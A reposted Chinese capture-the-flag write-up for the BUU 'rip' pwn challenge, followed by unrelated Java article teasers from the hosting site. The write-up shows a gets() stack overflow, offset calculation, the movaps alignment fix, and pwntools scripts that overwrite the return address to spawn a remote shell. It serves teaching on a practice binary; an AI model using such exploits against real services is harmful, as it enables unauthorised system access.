BUU PWN RIP1 RET2CODE WRITEUP

1、下载附件后,运行是一个输入程序,IDA分析main函数,gets可溢出。

BUU PWN RIP1 RET2CODE WRITEUP

F5伪代码如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+1h] [rbp-Fh]

  puts("please input");
  gets(&s, argv);
  puts(&s);
  puts("ok,bye!!!");
  return 0;
}

2、在附近还有个fun函数,存在shell入口。

int fun()
{
  return system("/bin/sh");
}

3、checksec查看无保护。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

4、 解法思路:只要对gets栈溢出,并修改函数ret的指针至fun函数即可。

5、在main函数下断点,单步执行,在到gets函数之前,记录栈顶和栈底地址。

rbp:0x7fffffffe7a0

rsp:0x7fffffffe790

参数起始位置:0x7fffffffe791

BUU PWN RIP1 RET2CODE WRITEUP

6、单步执行运行,输入任意字符,执行完函数。ret位置在0x7fffffffe7a8,也就是需要替换的return address位置。

BUU PWN RIP1 RET2CODE WRITEUP

7、所以这里的offset填充值=ret的位置-第一个参数开始位

0x7fffffffe7a8-0x7fffffffe791

也就是23个字节

手工尝试填充23*”A”,观察栈填充情况,一直写覆盖原栈底值

BUU PWN RIP1 RET2CODE WRITEUP

8、在IDA中找到fun函数的开始位置:0x401186。这个值用来替换栈中原本的内容0x7ffff7e15d0a

BUU PWN RIP1 RET2CODE WRITEUP

9、写exp

from pwn import *

r = process('./pwn1')

offset = 0x7fffffffe7a8-0x7fffffffe791
fun = 0x0000000000401186
r.sendline('a'*offset+p64(fun).decode("iso-8859-1"))
r.interactive()

在本地可以执行, 但是目标替换为远端就不行了

10、看到远端环境是ubuntu18.04,试过本地使用ubuntu18.04也不行。

11、在18.04执行exp后断点分析,最后停留语句在

movaps XMMWORD PTR [rsp+0x40],xmm0

BUU PWN RIP1 RET2CODE WRITEUP

12、movaps会判断是否16字节对齐,这里判断的rsp+0x40指针地址,差8字节对齐。

最后查询glibc版本2.27的system会有这样的判断,可以看到ubuntu18.04中glibc版本

BUU PWN RIP1 RET2CODE WRITEUP

BUU PWN RIP1 RET2CODE WRITEUP

在401186位置压入的rbp,只做堆栈保留,不影响对shell执行。所以这里可以跳过这次压栈,减掉后面栈中的8字节之差。

所以可以跳过rbp压栈或栈顶提升,直接在401187和40118A执行都可以

13、所以exp应该是这样

from pwn import *

r = remote(“X.X.X.X”,29395)

offset = 0x7fffffffe7a8-0x7fffffffe791
fun = 0x0000000000401187
r.sendline('a'*offset+p64(fun).decode("iso-8859-1"))
r.interactive()

14、远端执行成功拿到flag

Original: https://www.cnblogs.com/vpandaxjl/p/15265074.html
Author: 功夫小熊猫
Title: BUU PWN RIP1 RET2CODE WRITEUP

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/571696/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • 深入理解Apollo核心机制之灰度发布——创建灰度

    概述 ApolloPortal创建灰度后都做了什么呢?Apollo是如何维护主版本与灰度版本关系的呢? 其实创建灰度非常简单,可以看到下图中”Cluster&#8221…

    Java 2023年6月6日
    079
  • SpringBoot日志框架

    概述 项目中日志系统是必不可少的的。 目前比较流行的日志框架有 log4j、 logback等 。可能大家还不知道,这两个框架的作者是同一个人, Logback旨在作为流行的 lo…

    Java 2023年6月8日
    0118
  • abp MicroserviceDemo swagger添加 OAuth

    abp官方示例中的 abp-samples,swagger并没有提供 OAuth,这个在我们平时的开发过程中并不太友好,这里记录下在添加 swagger OAuth遇到的一些问题,…

    Java 2023年6月8日
    0126
  • javase集合 温故而知新

    重温javase集合 前言:1、为什么要有集合?数组长度需要在初始化时确定大小,数据结构单一、因此集合出现了 2、数组和集合的区别区别一:数组既可以存储基本数据类型,又可以存储引用…

    Java 2023年6月16日
    069
  • springboot有两个主启动类时,maven打包(可执行包)会报错,需指定启动主类

    我本地写了一个rabbitmq fanout模式的demo。consumer启动类和producer启动类都放到了一个springboot程序里。本地调试通过。 突然有个疑问,sp…

    Java 2023年5月30日
    077
  • 微信小程序开发 Java 开发校园报修系统

    ​此项目不定期分享进度 绪论 随着高校每年的扩大招生,学校人数越来越多,学校后勤报修管理的工作量也越水越繁重。使用传统的管理手段和方法,很难完成大量的信息分析和处理。因此,充分利用…

    Java 2023年6月8日
    078
  • 关于系统权限的设计-位操作

    本文讨论是权限设计的其中一种思路,有它自己的优缺点,不一定适用于所有系统。 一、Linux文件权限 大家都知道,Linux上有三种文件权限: r:表示读取,对应的数字为 4; w:…

    Java 2023年6月9日
    094
  • CAS底层原理与ABA问题

    CAS定义 CAS(Compare And Swap)是一种无锁算法。CAS算法是乐观锁的一种实现。CAS有3个操作数,内存值V,旧的预期值A,要修改的新值B。当预期值A和内存值V…

    Java 2023年6月7日
    080
  • 基于Mybatis插件方式实现数据脱敏处理

    一、项目介绍 1、项目背景 有时候我们数据库中存储一些敏感的信息比如 手机号、 银行卡号,我们希望我们查询出来的的时候对一些敏感信息做一些脱敏处理。 当面项目是基于自定义Mybat…

    Java 2023年5月30日
    0107
  • 一个较重的代码坏味:“炫技式”的单行代码

    风格和习惯很重要。 很多代码坏味都是由于不良的风格和习惯导致的,并不涉及高深复杂的技术。 有一些众所周知的代码坏味。当然,也有一些个人觉得很不好的习惯和做法。我个人就不喜欢把多行代…

    Java 2023年6月9日
    066
  • 22.1.30 位运算

    22.1.30 位运算 1))哈希函数可以把数据按照种类均匀分流; 2)布隆过滤器用于集合的建立与查询,并可以节省大量空间; 3)一致性哈希解决数据服务器的负载管理问题; 4)利用…

    Java 2023年6月13日
    077
  • Java代码中System.currentTimeMillis()方法具有什么功能呢?

    转自:http://java265.com/JavaCourse/202111/1749.html 下文笔者讲述System.currentTimeMillis()方法的具体功能,…

    Java 2023年6月15日
    097
  • JdbcTemplate 常用方法

    JdbcTemplate 常用方法update:实现增删改 queryForObject:​ 查询的结果是一个对象或单个值 java;gutter:true; //自己组装对象 p…

    Java 2023年6月13日
    077
  • Java—Stream入门

    学习Stream的目的 函数式编程渐渐变成主流,而Stream是函数式编程的重点。 相对于传统的编程方式,代码更为简洁清晰易懂。 使得并发编程变得如此简单。 有效的避免了代码嵌套地…

    Java 2023年6月7日
    075
  • @Async注解的坑,小心

    大家好,我是三友。 背景 前段时间,一个同事小姐姐跟我说她的项目起不来了,让我帮忙看一下,本着助人为乐的精神,这个忙肯定要去帮。 于是,我在她的控制台发现了如下的异常信息: jav…

    Java 2023年6月16日
    077
  • SpringBoot下的文件上传

    ; 代码很简单。已经放到码云了,码云地址:https://gitee.com/zhang-zhixi/springboot-upload.git posted @2022-04-2…

    Java 2023年6月6日
    073
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球